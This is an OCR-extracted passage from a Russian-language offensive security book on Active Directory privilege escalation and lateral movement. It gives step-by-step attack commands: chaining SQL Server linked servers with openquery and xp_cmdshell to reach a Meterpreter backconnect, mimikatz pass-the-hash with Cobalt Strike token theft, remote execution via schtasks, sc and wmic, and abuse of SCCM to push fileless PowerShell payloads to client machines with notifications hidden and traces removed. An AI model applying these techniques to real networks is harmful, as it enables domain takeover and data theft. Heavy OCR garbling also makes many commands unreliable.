типами учетных записей Windows. Вот их список: - L] локальный пользователь; L1 LocalSystem; L1 NetworkService; L] локальная управляемая учетная запись службы; L] учетная запись управляемого домена; L] пользователь домена; L] администратор домена. Компрометация службы SQL Server может привести к компрометации всего доме на. Н�, независимо от привилегий учетной записи службы SQL Server в операцион ной системе, в SQL Server она имеет привилегии sysadmin по умолчанию. Для получения учетной записи службы мы будем использовать PowerUpSQL (https:// github.com/NetSPl/PowerUpSQL). Для этого нам нужно иметь учетную запись локального администратора. Сначала найдем локальный SQL Server. В этом нам поможет команда Get SQLinstanceLocal. В выводе команды нас интересует строка, содержащая значение
Глава 2 52 Instance : MSSQLSRV04 \BOSCHSQL. Следующей командой получим учетную запись SQL Server: Invoke-SQLimpersonateService -Verbose - Instance MSSQLSRV04\BOSCHSQL Нужно убедиться, что все прошло успешно: Get-SQLServerinfo -Verbose -Instance MSSQLSRV04 \BOSCHSQL В представленном выводе будет присутствовать строка CurrentLogin : NT Service\ мssQL$BOSCHSQL. В итоге мы получаем привилегию s ysAdrnin ово. Также есть решение, которое запустит c:md . exe в контексте каждой учетной записи службы SQL, связан ной с экземШIЯром MSSQLSRV04\BOSCHSQL: Invoke-SQLimpersonateServi ceCmd -Instance MSSQLSRV04 \ BOSCHSQL Описанные в этой главе методы повышения привилегий показывают, насколько компетентными должны быть системные администраторы, обеспечивающие безо пасность в среде Active Directory.
ГЛАВА 3 Боковое перемещение в Active Directory Предположим, вы успешно раздобыли учетные записи пользователей в сети с кон троллером домена Active Directory и даже смогли повысить собственные привиле гии. Казалось бы, можно расслабиться и почивать на лаврах. Как бы не так! Что, если мы захватили не всю сеть, а ее определенный сегмент? Нужно разобраться, как продвигаться по сети дальше, искать новые точки входа, опоры для проведения разведки и дальнейшего повышения привилегий. Техника Lateral Movement через ссылки Microsoft SQL Server Для начала - немного теории. Microsoft SQL Server позволяет создавать ссьmки на внешние источники данных, например другие серверы SQL, базы данных Oracle, таблицы Excel. Зачастую сервер настроен неправильно, из-за чего подобные ссьmки (связи или линки), или «связанные серверы», могут использоваться для обнаруже ния и обхода связей базы данных в сети, получения неавторизованного доступа к данным или загрузки различных оболочек. Как подобные атаки реализуются на практике, мы сейчас и разберем. Вв едение в ссылки Создание связи на SQL Server довольно тривиально. Эго можно сделать с помощью хранимой процедуры sp_addlinkedserver или SQL Server Management Studio (SSMS). Обычно злоумышленники не стремятся создавать линки, но пытаются найти суще ствующие и эксплуатировать их. Связи можно просмотреть в меню Объекты сервера --+ Серверы ссылок в SSMS. В качестве альтернативы они могут быть перечислены с помощью хранимой про цедуры sp_linkedservers или с помощью запроса select * from master . . sysservers. Выбирать непосредственно из таблицы sysservers предпочтительно, поскольку так раскрывается немного больше информации о линках.
Глава 3 54 Для существующих ссылок есть несколько ключевых настроек, на которые следует обратить внимание. Очевидно, что назначение ссылки, тип источника данных (имя провайдера) и доступность ссьmки (доступ к данным) важны для использования связи. Кроме того, исходящие соединения RPC (rpcout) должны быть включены для ссылок, чтобы, в свою очередь, включить xp_crndshell на удаленных связанных сер верах. Злоумышленники при взломе связей базы данных обращают внимание на две ос новные конфигурации: источник данных (имя провайдера) и способ настройки линков для проверки подлинности. Сосредоточимся на источниках данных SQL Server, которые подключаются к другим серверам Microsoft SQL Server. Каждую из этих связей SQL Server можно настроить для проверки подлинности несколькими способами. Можно отключить линки, не предоставляя учетнь1е дан ные для Подключения. Также можно использовать текущий контекст безопасности или установить учетную запись SQL и пароль, которые будут задействованы для всех подключений, использующих ссьmку. Как показывает практика, после обхода всех связей всегда есть одна или несколько настроек с разрешениями sysaclmin; это позволяет повысить привилегии от начального общедоступного доступа к доступу sysaclmin, даже не выходя из уровня базы данных. Хотя только системные администраторы могут создавать ссылки, любой пользова тель базы данных может попытаться получить к ним доступ. Тем не менее есть две очень важные вещи, которые нужно понять про использование ссылок: LI если связь включена (dataaccess установлен в 1 ), каждый пользователь на серве ре базы данных может использовать сс�ку независимо от прав пользователя (puЫic, sysaclmin) ; LI если связь настроена на использование учетной записи SQL, каждое подключе ние будет с правами этой учетной записи. Другими сло,вами, общедоступный пользователь на сервере А может потенциально выполнять SQL-запросы на сер вере В как s ysaclmin. Ссылки на SQL Server очень просты в применении. Например, следующий за прос с использованием openquery ( ) перечисляет версию сервера на удаленном сер вере. select version from openquery ( " linked_remote_server " , ' select @@version as version ' ) ; Также можно использовать openquery для выполнения SQL-запросов по нескольким вложенным линкам; это делает возможным связывание ссьmок и позволяет исполь зовать деревья ссылок. select version from openquery ( " linkl " , ' select version from openquery ( " link2 " , ' ' select· @@version as version ' ' ) ' ) Подобным же образом можно вложить столько операторов openquery, сколько необ ходимо для доступа ко всем связанным серверам. Единственная проблема состоит в том, что каждый вложенный запрос должен использовать вдвое больше одинар ных кавычек, чем внешний запрос. В результате синтаксис запросов становится
55 Боковое перемещение в Active Directory довольно громоздким, когда приходится использовать 32 одинарные кавычки в каждой строке. Схема эксплуатации изнутри сети На рис. 3 . 1 показан пример типичной сети связанных баз данных. Пользователь с общими правами досrупа к DB 1 может перейти по ссылке базы данных на DB2 (разрешения уровня пользователя) и от DB2 до DВЗ (разрешения уровня пользова теля). Теперь можно перейти по ссылке из DВЗ обратно в DB 1 (разрешения уровня пользователя) или по ссылке на DB4. Так как эта ссылка настроена с повышенными привилегиями, следование цепочке ссьuюк DB 1 - DB2 - DВЗ - DB4 дает изна чально непривилегированному пользователю полномочия пользователя sysadrnin на DB4, который расположен в «изолированной)) сетевой зоне. « И зол ированная» сеть !DBA 084 пользователь 081 DВЗ Рис. 3.1 . Схема сети связанных баз данных <::сылки на базы данных также могут запрашиваться с использованием альтерна тивного синтаксиса, но он не допускает запросы по нескольким ссi.шкам. Кроме того, фактическая эксплуатация требует, чтобы rpcout бьш включен для ссылок, и, поскольку он отключен по умолчанию, это вряд ли будет часто использоваться на практике. Хотя Microsoft заявляет, что openquery ( ) нельзя использовать для выполнения рас ширенных. хранимых процедур на свяЗанном сервере, это возможно. Хитрость заключается в том, чтобы вернуть некоторые данные, завершить оператор SQL и затем выполнить требуемую хранимую процедуру. Ниже приведен базовый пример выполнения процедуры с помощью openquery ( ) . select 1 from openquery ( "linkedremoteserver" , ' select 1 ; ехес master . . хр_cmdshell "dir с : " ' ) Запрос не возвращает результаты хр_cmdshell, но, если хр_cmdshe ll включен и поль зователь имеет права на его выполнение, он выполнит команду dir в операционной
Глава 3 56 системе. Один из простых способов получить оболочку в целевой системе - вы звать PowerShell (если этот командный интерпретатор установлен в ОС) и передать бэкконнект на оболочку Meterpreter. В целом алгоритм действий выглядит сле дующим образом: 1 . Создать сценарий PowerShell для выполнения своей полезной нагрузки Metasploit, пример можно взять здесь: https://netsec.ws/?p=331 . 2 . Закодировать скрипт в Unicode. 3. Закодировать в Base64. 4. Выполнить команду powershell -noexit -noprofile -EncodedConunand с помощью xp_cmdshell. Если хр_crndshell не включен на связанном сервере, возможно, его не удастся вклю чить, даже если ссылка настроена с привилегиями sysadrnin. Любые запросы, выпол няемые через openquery, считаются пользовательскими транзакциями, которые не позволяют сделать перенастройку. Включение хр_cmdshel l с помощью sp_configure не изменяет состояние сервера без перенастройки и, следовательно, хр_cmdshel l ос танется отключенным. Если rpcout включен для всех ссылок внутри пути ссьmки, можно включить хр_cmdshell, испо.riьзуя следующий синтаксис. execute ( ' sp_configure "xp_cmdshe l l " , 1 ; reconfigure; ' ) at LinkedServer Но, как уже отмечалось, rpcout по умолчанию отключен, поэтому он вряд ли будет работать с длинными цепочками ссылок. Схема эксплуатации извне Хотя ссьшки на базы данных могут стать неплохим способом повысить привилегии после того, как получен аутентифицированный доступ к базе данных внутри сети, более серьезный риск возникает, когда связанные серверы доступны извне. Те же SQL-инъекции очень распространены, и успешная атака дает возможность выпол нять произвольные запросы SQL на сервере базы данных. Если соединение с базой данных веб-приложения сконфигурировано с наименьшими привилегиями (что происходит довольно часто), то нетрудно увеличить разрешения для внутренней сети, где, вероятно, расположен сервер базы данных. Однако, как упоминалось ра нее, любому пользователю, независимо от его уровня привилегий, доступны пред варительно настроенные связи между базами данных. На рис. 3 .2. показан путь атаки извне. Найдя SQL-инъекцию на сервере веб приложений, злоумышленник может начать переходить по ссьшкам DB 1 --+ DB2 --+ DВЗ --+ DB4. И после получения разрешений sysadrnin на DB4 он может выполнить xp_cmdshell, чтобы запустить PowerShell и получить бэкконнект. Таким образом, злоумышленник получает привилегии в изолированном сегменте корпоративной сети и может претендовать на компрометацию всего домена, при этом изначально не имея доступа к внутренней сети.
Боковое перемещение в Active Directory N о( ::'Е о ..с 5; (.) "" "' :r ..с с:; � о с:: ,.--� --! 1 � l �"""'"'"'"" 57 «И золированная» сеть � ) - 081 082 Рис. 3.2. Схема атаки на связанные базы извне Как автоматизировать обнаружение пути эксплуатации Для автоматизации перечисления и обхода ссылок после того, как первоначальный доступ к SQL Server получен, можно применить уже упоминавшийся в предыду щих статьях инструмент PowerUpSQL (https://github.com/NetSPI/PowerUpSQL). Функция Get-SQLServerLinkCrawl может использоваться для сканирования всех дос тупных путей связанных серверов, а также перечисления версий программного обеспечения и привилегий, с которыми настроены ссылки. Чтобы запустить Get SQLServerLinkCrawl, нужно будет предоставить информацию об экземпляре базы данных для начального подключения к БД и учетные данные, используемые для авторизации . По умолчанию скрипт выполняется с использованием встроенной аутентификации, но при желании можно указать альтернативные учетные данные домена и учетные данные SQL Server. Для вывода в консоль воспользуемся следующей командой: Get-SQLServerLinkCrawl -verbose -instance " [ ip-addre s s ] \SQLSERVER2 0 0 8 " Для вывода ж е по сети используем функцию следующим образом: Get-SQLServerLinkCrawl -verbose -instance " [ ip-addre s s ] \SQLSERVER2 0 0 8 " -username ' gues t ' -password ' guest ' 1 Out-GridView
58 Гла ва З Результаты будут включать экземпляр базы данных, информацию о ее версии, пользователя ссылки, привилегии пользователя ссылки на связанном сервере, путь ссылки на сервер и ссьmки на каждый экземпляр базы данных. Связанные серверы, которые недоступны, помечаются как неработающие ссылки. Кроме того, Get-SQLServerLinkCrawl позволяет выполнять произвольные запросы SQL на всех связанных серверах с использованием параметра -Query . Хр_cmdshel l (для выполнения команды) и xp_dirtree (для внедрения в UNС-путь) также могут быть выполнены с помощью параметра -Query. Get-SQLServerLinkCrawl -instance " [ ip-addres s ] \SQLSERVER2 0 0 8 " -Query "ехес rnaster . . xp_cmdshell ' whoami ' " Get-SQLServerLinkCrawl -instance " [ ip-addres s ] \SQLSERVER2 0 0 8 " -Query "ехес rnaster . . хр_dirtree ' \ \ [ ip ] \ tes t "' Но согласитесь, что вывод того же BloodHound в виде графа связей через Neo4j ку да удобней для анализа и поиска пути эксплуатации, чем информация, представ ленная в виде текста. Можно попробовать сделать аналогичный граф и для Get SQLServerLinkCrawl. Результаты Get-SQLServerLinkCrawl необходимо экспортировать в файл ХМL с помощью Export-Clixml. Get-SQLServerLinkCrawl -verbose -instance " [ ip-addre s s ] \SQLSERVER2 0 0 8 " -username ' guest ' -password ' guest ' 1 export-clixml c : \temp\links . xml Экспортированный файл XML будет затем преобразован в файл узла и файл ссыл ки, чтобы их можно было импортировать в базу данных Neo4j . Следующий скрипт создаст файлы импорта и предоставит необходимые операторы Cypher (https://neo4j.com/developer/cypher/) для создания графа. Очевидно, что все пути к файлам жестко закодированы в PowerShell, поэтому их придется заменить, если вы запустите скрипт. Последние (необязательные) операторы Cypher создают на чальный узел, с целью указать, где начался обход контента; Serverill должен быть обновлен вручную, чтобы он указывал на первый SQL Server, к которому бьm по лучен доступ. $List = Import-CliXml ' C : \temp\l inks . xml ' $Servers $List 1 select name , version, path, user, sysadmin -unique ' broken link ' = 1 where name -ne $0utnodes = @ ( ) $0utpaths = @ ( ) foreach ( $Server in $Servers ) { $0utnodes += "$ ( [ string] [ rna th] : : abs ( $Server . Name . GetHashCode ( ) ) ) , $ ( $Serve r . Name ) , $ ( $Serve r . Version) " if ( $ Server . Path . Count -ne 1 ) { $ Parentlink = $Server . Path [ - 2 ] foreach ( $ a i n $Servers ) { if ( ( $ a . Path [ - 1 ] -eq $Parentlink) -or ( $ a . Path -eq $Parentlink) ) { [ string ] $ Parentname break = $a . Name
59 Боковое перемещение в Active Directory $0utpaths += " $ ( [math] : : abs ( $ Parentname . GetHashCode ( ) ) ) , $ ( [math] : : abs ( $Server . Name . GetHashCode ( ) ) ) , $ ( $Server . User) , $ ( $Server . Sysadmin ) " $0utnodes 1 select -unique 1 out-file C : \pathtoneo4j \Neo4j \default . graphdЬ\Import\nodes . txt $Outpaths 1 select -unique 1 out-file C : \pathtoneo4j \default . graphdЬ\Import\ l inks . txt <# [OPTIONAL] Cypher to clear the neo4j database : МАТСН ( n ) OPTIONAL МАТСН ( n ) - [ r ] - ( ) DELETE n, r Cypher statement to create а neo4j graph - load nodes LOAD CSV FROM " file : / / /nodes . txt" AS row CREATE ( : Server { Server!d : to!nt ( row [ O ] ) , Name : row [ l ] , Version : row [ 2 ] } ) ; Cypher statement to create а neo4j graph - load links USING PERIODIC СОММIТ LOAD CSV FROM " file : / / / l inks . txt" AS row МАТСН (pl : Server { Server! d : t o int ( row [ O ] ) } ) , (p2 : Server { Server!d : to!nt ( row [ l ] ) } ) CREATE ( p l ) - [ : LINК { User : row [ 2 ] , Sysaclmin : row [ 3 ] } ] -> (p2 ) ; [OPTIONAL] Cypher statement to areate а start node which indicates where the crawl started. This is not automated; first node id must Ье filled in manually ( i . e . replace 1 2 3 4 5 67 8 with the first node ' s id) . СRЕАТЕ ( : Start { I d : 1 } ) [OPTIONAL] Link start node to the first server МАТСН (pl : Start { Id : 1 ) ) , (p2 : Server { Server! d : 1 2 3 4 5 67 8 ) ) CREATE (pl ) - [ : START ] -> (p2 ) ; #> Если все работает хорошо, вы сможете просмотреть график связей, используя Neo4j Browser (рис. 3 .3 ). Связанные серверы довольно распространены, и иногда сети связанных серверов содержат сотни серверов баз данных. Цель Get-SQLServerLinkCrawl состоит в том, чтобы предоставить простой и автоматизированный способ анализа масштабов этих сетей и легко найти путь бокового движения.
Глава З 60 Рис. 3.3. График связей серверов баз данных Pass-the- hash О технике РТН, как и об одинаковых паролях локальных администраторов на ком пьютерах домена, уже бьшо рассказано в главе 2. Допустим, проанализировав неко торые настройки групповой политики, мы выяснили, что на всех компьютерах до мена имеются одинаковые учетные данные локального администратора и мы смог ли завладеть этими данными. Далее мы решаем использовать технику pass-the-hash для доступа к другим машинам в сети, чтобы выполнить боковое движение. Для этого мы используем mimikatz. Если нам известен открытый пароль, то мы получаем его хеш с помощью модуля crypto : : hash. Сделать это можно следующей командой: crypto : : hash /pas sword : [pas sword] Теперь можно получить новую консоль под учетной записью, для которой мы выполняем РТН. privilege : : debug sekurlsa : : pth /ntlm: [hash] /user : admin /doma in : . Однако после проверки доступа мы терпим неудачу (рис. 3 .4). Дело в том, что существует два идентификатора безопасности SID: AUTHORITY\Local account ) Administrators gr �up) . И S-1-5-114 (NT AUTHORITY\Local account s-1 - 5 - 1 1 3 and memЬer (NT of Они применяются в групповой политике, чтобы блокировать
Боковое перемещение в Active Directory 61 использование всех локальных учетных записей администраторов для удаленного входа. А проверить, на каких машинах установлены эти ограничения, может любой пользователь, который прошел проверку подлинности в домене, просто перечислив групповые политики (о перечислении групповых политик было сказано в главе 1). Рис. 3.4. Выполнение РТН с помощью mimikatz На самом деле, нет возможности передать хеш учетной записи локального админи стратора, который не имеет относительный идентификатор RID 5 0 0 (Local Administrator). Так, для любой учетной записи локального администратора без RID 5 0 0, удаленно подключающейся к машине через WMI, PSEXEC или другими мето дами, возвращаемый токен «фильтруетсю>, даже если пользователь является ло кальным администратором. Это происходит потому, что нет способа удаленного перехода в контекст, кроме как через RDP (для которого требуется пароль в виде открытого текста, если не включен режим Restricted Admin). Поэтому, когда поль зователь пытается Получить доступ к привилегированному ресурсу удаленно, на пример, к папке ADMIN$, он видит сообщение Access is denied, несмотря на то что у него есть административный доступ. Вдобавок ко всему, когда пользователь, который входит в группу локальных адми нистраторов на целевом удаленном компьютере, устанавливает удаленное админи стративное соединение, он не подключается как полный администратор удаленной системы. У пользователя нет возможности повысить права на удаленном компью тере, и он не может выполнять административные задачи. Если пользователь хочет администрировать рабочую станцию с помощью учетки диспетчера учетных запи-
Гла ва З 62 сей безопасности (SАМ), он должен интерактивно войти в систему на компьютере, который администрируется с помощью удаленного рабочего стола (RDP). Это объясняет, почему локальные учетные записи администраторов терпят неудачу при удаленном доступе (кроме как через RDP), а также почему учетные записи до мена выполняют свои операции успешно. И хотя Windows по умолчанию отключа ет встроенную учетную запись администратора RID 5 0 0, ее все же довольно часто можно увидеть в исследуемых системах. Есть еще одна возможная причина неудачи - так называемый режим одобрения администратором. Ключ, который указывает на этот режим, хранится в следующем ключе реестра: НКLМ\SOFТWARE\Мicrosoft \Windows\CurrentVersion\Policies\Systern\FilterAdministratorToken и по умолчанию он отключен. Однако если этот параметр активирован, учетная запись с RID 5 0 0 зарегистрирована в UAC. Это означает, что удаленный РТН к ма шине, использующей эту учетную запись, завершится неудачно. Если ключ HКLМ\SOFТWARE\Microsoft \Windows\CurrentVersion\Policies\Systern\ LocalAccountTokenFilterPolicy существует и имеет значение 1, тогда удаленным подключениям от всех локальных администраторов предоставляются полные маркеры доступа. Это означает, что подключения к учетной записи без RID 5 0 0 не фильтруются (рис. 3 .5, 3 .6). Туре AllerдdmiМcЬn V-T ie!!! � �� .Jlromp!OnS«urtQeslctop ..,_...,.... � � VllldltoAdminl:odeSignalurtl llIO_SZ llЮ_DWOllO R!G.OWORO AEGJ)WORO R!G_OWORO RIOJ!WORO RfG.J)WOltl) REG_OWORO REGj!WORO l\Щj)WO№ RfG..SZ ЦG_SZ llIO,DWOl':D R!G.,OWOIФ l\IOJWIORD R!G_pwoRO RE<i...OWORO REG_DWORD Рис. 3.5. Добавление необходи мого ключа °"*lvtl<ie not Jd) (bl)QOOO(JGS Cll (bl)(J(QJOO) 13! hOOOClllOOO 6'!) (bllOOQQQ01 !'1) o.aoaooaoi 111 Oll000001 l'I) о.ооооооао 811 О11ООООО1 (1) � f)) О11ООООО1 (1) О1'1ООСОаОО (О) � (1) a.oooooooi 01 OiQOOOQOOO \О) o.ooooot 0)
Боковое перемещение в Active Directory 63 Рис. 3.8. Успешное подключение с РТН Но как на своих машинах работают локальные администраторы при включенном контроле токена? По умолчанию встроенная учетная запись администратора запус кает все приложения с полными административными привилегиями, т. е. контроль учетных записей пользователей фактически не применяется. Поэтому, когда дейст вия удаленного юзера инициируются с использованием этой учетной записи, пре доставляется маркер с полными привилегиями (т. е. без фильтрации), обеспечи вающий надлежащий административный доступ! И мы можем это использовать. Следующий способ кражи и присвоения токена воспроизведен с помощью Cobalt Strike (https://cobaltstrike.com/). Для начала получим хеш, использовав hashdump (рис. 3 .7). Рис. 3.7. Получение хешей с помощью hashdump
Гла ва З 64 :·. �.!!.U.!.!P' 1цi111 i li. �t 1 1 : :. . ..,, 1·k o r l <lнl : : p t lt /H .... e f : A1J111 ! 11 1 , 1 1 .� t o r /dщ1ы i о : , /н t lл! : L'l'>di> JU<lt>d e c JtJ.i!:IJ /Ь / l'}'fЧU!JfЩJ/f / r н n : " powe rsheH -w l1i (lden" ! · J T�1 <., k �·1t tн•,l( (Jll tl.) ( Нfl 1t1i111 i k ott f / • <., a.,1�}; н r ·l �f'.t : t p ff1 /ll..,, f' I J "dш i 11 i (.,, t f d ( O f /fJl)fJbl i H J , /11 t \Jn : L<J'>db JOtlt>d e c JU.!Ud /Ь f l'}'J'JO /Jf B(}/f / r u n : "p owн� h o: t l ·W l1i d d en" < a1rnыnd l+ 1 [+] 110' 1 • •l A(lПli 11 i .._. t f � ! O f 11 c..v- r ' 111Jю.ti 11 pr 011r 1m . 111 1 11 1 1 1 ) ]f\66 > 1, у l ,., l "1 lю10<' . "'11 1 1 e ( ei vcd 011 t p u t PJ O 1 J l) JlflWP 1 'f1P 1 1 • w fJi 1<JNJ t J()'1db !Odt>dN J8J!!J /b/ l'-IЧ'lll / Jf80/1 6443 ; н, LL!Ill О J "" " ! U k пl1н11' \ J t� .,, )f._1{1 Ье.н Qll> I H':,JLIJ (000U()0JJO : UO!)< l0Ni) d.1t.1 < •J• Y •] ООПN34 ОК d o tп сору ц JJ1.f3(j',f l1 f1t11�н - :.-- lltJl l ------ Рис. 3.8. РТН с использованием mimikatz в Cobalt Strike Далее создадим процесс PowerShell (рис. 3 . 8). mimi katz sekurlsa : : pth /user : [user] /domain : . /ntlm: [hash ] /run : "powershel l -w hidden" Используем steal _token для кражи токена из созданного mimikatz процесса с из вестным PID (рис. 3 .9). Рис. 3.9. Кража токена при помощи steal_tokeп Теперь мы можем использовать один из нескольких вариантов бокового переме щения. 1 : запланировать запуск программы на удаленном хосте с помощью at. Первым делом узнаем, какое на хаете установлено время, после чего планируем выполнение задачи. Вариант shell net time \ \ [addres s ] shell a t \ \ [ addre s s ] Вариант [ НН : ММ ] [ c : \windows\temp\soft . exe] 2: запустить код в целевой системе через s chta s ks . shell schtasks /create /tn [name] /tr [ c : \windows \temp\soft . exe] /sc once /st 0 0 : 0 0 /S [ address ] /RU System · shell schtasks / run /tn [name] /S [address ] 3: создать и запустить службу через Команде sc требуется исполняе мый файл, который отвечает на команды Service Control Manager. Если вы не пре доставите ей такой исполняемый файл, ваша программа запустится и сразу же за кроется. После эксплуатации рекомендуется удалить службу. Вариант sc.
Боковое перемещение в Active Directory shell sc \ \ [addre s s ] 65 create [narne] Ьinpath= [ " c : \windows \temp\ SERVICE . exe " ] shell s c \ \ [addre s s ] start [narne] shell sc \ \ [addre s s ] delete [ name ] Вариант 4, наиболее распространенный: задействовать wmic (рис. 3 . 1 О) she l l wmic /node : [ addre s s ] process call create [ " с : \windows \temp\soft . ехе " ] В примере выше мы загружаем н а хает файл и запускаем его с помощью wmic. Рис. 3.1 0. Боковое перемещение с помощью wmic System Center Conf igurotion Monoger System Center Configuration Manager (SCCM) - продукт для управления IТ-ин фраструктурой и смежными устройствами. Он предоставляет следующие основные возможности: LJ управление обновлениями; LJ развертывание ПО и операционных систем; LJ интеграция с NAP; LJ инвентаризация аппаратного и программного обеспечения; LJ удаленное управление; LJ управление виртуализированными и мобильными системами на базе Windows. Кроме того, SCCM . позволяет ИТ-персоналу автоматически создавать сценарии и отправлять их клиентам. Если мы сможем получить доступ к SCCM, это станет отличной платформой для последующих атак. Он тесно интегрирован с Windows PowerShell, имеет широкую сетевую видимость и несколько клиентов SCCM, спо собных выполнять код с правами SYSTEM. Для использования SCCM в качестве инструмента для бокового движения потребу ется доступ с повышенными правами. Но, как уже было отмечено, SCCM имеет широкую сетевую видимость, т. е. мы сможем получить доступ к клиентам-
Гла ва 3 66 участникам даже из другого домена. Для удобства доступа к консоли SCCM пред лагается использовать RDP (к тому же это легитимное программное обеспечение для управления в большинстве корпоративных сетей, что снижает риск обнаруже ния, рис. 3 . 1 1 ). ё..11 Jj 1Е) " °""" . � f- -+ а- • Assets and Compliance "_ t.- UsctCbl�le<w:м � �� Cd!IOIOM ' №vigatiort lr>d�x Uмn:� uиr1 ll'duнr groupt:fcwh hwr.m, IJиf�'* МigцtlOtl ) " Ai� 1Mf1!�e .l'dl1 .. · U.�ioшМINrUИl"collк� � o.. .... с;.,...... ..._ � se..t.1:��Мin19':\lиt��ll t1'19'•t10flfot��dt'*'1 �')'$�1Мо ��� � t � Prot.tФon SOfМQn�iConf191.1r• <\llН to�� llpplМ;auon- -.. 'AН C� Dc!w.n #! А.ю •llllf Comp� \ • ��devJtn fortht tw.m,. . � Cofll!,ctk:ll� ��t.011ect!oмfoftt'\e hlel"мdrf. l\lи1tn� М.,.t!tc-Assct lntdfigcntt � unf0!1 1�8et мс1 synchюмt.,,...tf\ � �w� totю:ind'*IOJ't\lмtt tic� �St.1� M.... <Qr!flf'll'*" � мd c�.ьori�io •JбeП.-ld�lttfrw.��·ol�Qff � MC��•Ьr-owned � �COl'J)«att-cмntd Dreotк.esand OevlC:t ""°"""'" """' Re<:e�t д�.,;;{о):-Last updated-;;;,m 0 15 5:43:42 РМ dJ ....". ....... · !J!f; -".... Рис. 3.1 1 . Консоль SCCM Для поддержки функции клонирования Active Directory SCCM хранит объекты ма шин и пользователей, а также сопоставления между ними. Именно благодаря этому есть возможность контролировать программное обеспечение определенных поль зователей. Чтобы предоставить доступ к той или иной группе юзеров, SCCM по зволяет создавать так называемые коллекции. Таким образом, установив контроль над SCCM, мы можем получить список всех пользователей-клиентов и их компью теров - из них мы и будем выбирать цели. Кроме того, мы можем посмотреть су ществующие коллекции или создать свои, что позволит нам применять действия сразу ко всем участникам в коллекции. Самый популярный у злоумышленников способ использования функций SCCM выполнение кода PowerShell. Так можно получить бэкконнект-шелл и не оставить следов на физическом диске. Для этого нам нужно иметь общий ресурс, к которому выбранные клиенты могут получить доступ. На этом ресурсе мы размещаем текстовый файл, содержащий код PowerShell (рис. 3 . 1 2). · tnstall .t.<t • Noteped l �uNCt10tl StaRt-Nl!GOТIAte{paraм(Ss,$SK, $UA•" lol ")AdD-TypE -ASsel'IВLY SYsТfм.SecUritY;AdD-ТYpE · aSsEМЬly SYst.М.CorE;:�л d( "UserЧlgent" ,WA) ;$wc . Нeaders . Add( "Cook1e", "SESSlONID•SID") ; Sraw-$wc . UploadData(Ss+ "lndex . jsp", "POST" , $еЬ) ;SDe•Sl PSVerSionTAЬlt!. PSVERS1on . М..JOR; SI82•$e . GEtBYteS( Si); $eb2•$IV+SAES. Cl\eaTEEncRypТoR( ) • TRAl>SfoRМF InAlBloCk(SIЫ, 8, $ib: I Рис. 3.12. Пример install.txt с вредоносным PowerShell-кoдoм
Боковое перемещение в Active Directoгy 67 Теперь нам нужно создать приложение из меню Application Management. В пер вом окне будет предложено указать тип установки приложения. Необходимо вы брать ручной режим (Manually specify the application information, рис. 3 . 1 3). � lrtfcmnotion Spocfy settmgs fOf thts appltюn lca ApplJCif""' C...iog О.,,� Тура Sutnmil)I l'tog••" CC"1j>!Won Рис. 3.1 3. Выбор типа установки приложения Дальше установка интуитивно понятна, главное - помнить, что чем меньше ин формации мы указываем, тем лучше. Когда вы дойдете до раздела Specify setting for this deployment type, необходимо добавить новый тип развертывания - в раз деле Туре выбрать опцию Script Installer (рис. 3 . 1 4). Переходим к самой важной части создания приложения - пейлоаду. В этом разде ле необходимо оставить поле Content Location пустым. В обычных случаях имен но здесь администратор может указать расположение файлов установки приложе ния. Поскольку мы хотим избежать взаимодействия с диском, мы не заполняем это поле. Следом переходим к полям lnstallation program и Installation start in. Здесь мы собираемся разместить команду, которая и будет выполнять наш пейлоад. Installation program будет выглядеть примерно так. cmd . exe /с "powershel l . exe -ер bypa ss -с ' gc \\имя_сервера \общий_ресурс \директория_приложения \payload . txt 1 I EX ' "
Глава 3 68 Create Deploymet'\t Тур<а Wturd G<ner•f lnlormolюn Speafy sett1ngs for lhts �1ent type Corrtent t>ttttЬon M� U.<t hpc;IOIC� R"'!ui•<11'•nl< \)•ptl\d-16 Sutnmщ Progrm Cornpl<tюn Туре Рис. 3.14. Выбор типа развертывания Консоль crnd. ехе используется для запуска PowerShell, а затем с помощью Get Content (gc) PowerShell обратится к \ \sccm2012\sccrnsource\LegitApplication и прочита ет содержимое Install . txt. После этого код передается в Invoke-Expression ( iex) для его выполнения. Это позволяет нам выполнять пейлоад на целевом объекте, не за гружая файл в файловую систему. После того как мы установили программу, нам нужно указать, где будет начинаться установка. Поскольку в поле Installation program используется только crnd . ехе, SCCM просит нас уточнить расположение этого исполняемого файла. Таким обра зом, для этого поля нужно выбрать с : \Windows\System32 (рис. 3 . 1 5). После этого мы перейдем к меню Detection Method. Параметры, указанные здесь, сообщат SCCM, как определить, установлено на клиенте целевое приложение или нет. SCCM проверит ук:панные параметры перед установкой приложения, чтобы предотвратить повторную установку. Поскольку пейлоад выполняется в памяти, проверять нечего, поэтому можно заполнить поле фиктивной информацией. Также убедитесь, что вы установили переклю�атель в положение The file system setting must exist оп the target system to indicate presence of this application (настройка файловой системы должна существовать в целевой системе, чтобы указывать на наличие этого приложения, рис. 3 . 1 6). Дальнейшие настройки установки можно оставить по умолчанию. Чтобы развер нуть созданное приложение после ее завершения, просто щелкните по нему правой
69 Боковое перемещение в Active Directory Cont� ! Gen.m c;.,,....r lnformotюn Spealy infoonatIOл .аЬооt lhe oontent to Ье delivered to ta1get OOW:es •rы#i ' .... Dt't M.U.ocl u edlcю Expt.ntn< • Re.quк�nts OЦ>endonad Sumnщy Prngreu с-р!Wм _. 1 .......,., ..,." \01��\hQIWltex-1 (C:\VW-\Syon:m32 \ � "'-""" _.. .......,,,. r1 un con1.n 1 ... l.._j & _ ..._. _ . __, _ '"'1114 -•�lioitlW Рис. 3.15. Установка приложения кнопкой мыши и выберите Deploy (развернуть), указав при этом нужную коллек цию. В настройках для взаимодействия с пользователем убедитесь, что вы скрыли все уведомления. Теперь приложение будет ожидать установки при регистрации пользователя, т. е. для того, чтобы выполнить пейлоад, необходимо будет переза грузить пользовательскую машину. Для большей скрытности после завершения работы пейлоада лучше удалить из SCCM все следы. Вдобавок скажу, что есть вариант работы с SCCM из консоли. Это очень удобно сделать с помощью PowerSCCM (https://github.com/PowerSheUMafia/PowerSCCM). Описывать этот инструмент я не буду, у него довольно-таки подробная докумен тация. Теперь вы знаете, как можно использовать SCCM для выявления целей атаки в се ти, группировать выбранные цели вместе и загружать пейлоад в память одновре менно для всех выбранных целей. SCCM нередко служит «точкой управления» для большинства рабочих станций на предприятии, и из-за этого у сервера SCCM часто будет широкая, если не полная видимость всей сети. Наше приложение повторно выполнится на клиентских машинах SCCM после перезагрузки, что позволит нам оставаться на компьютере без необходимости сохранять файл на диске. Таким об-
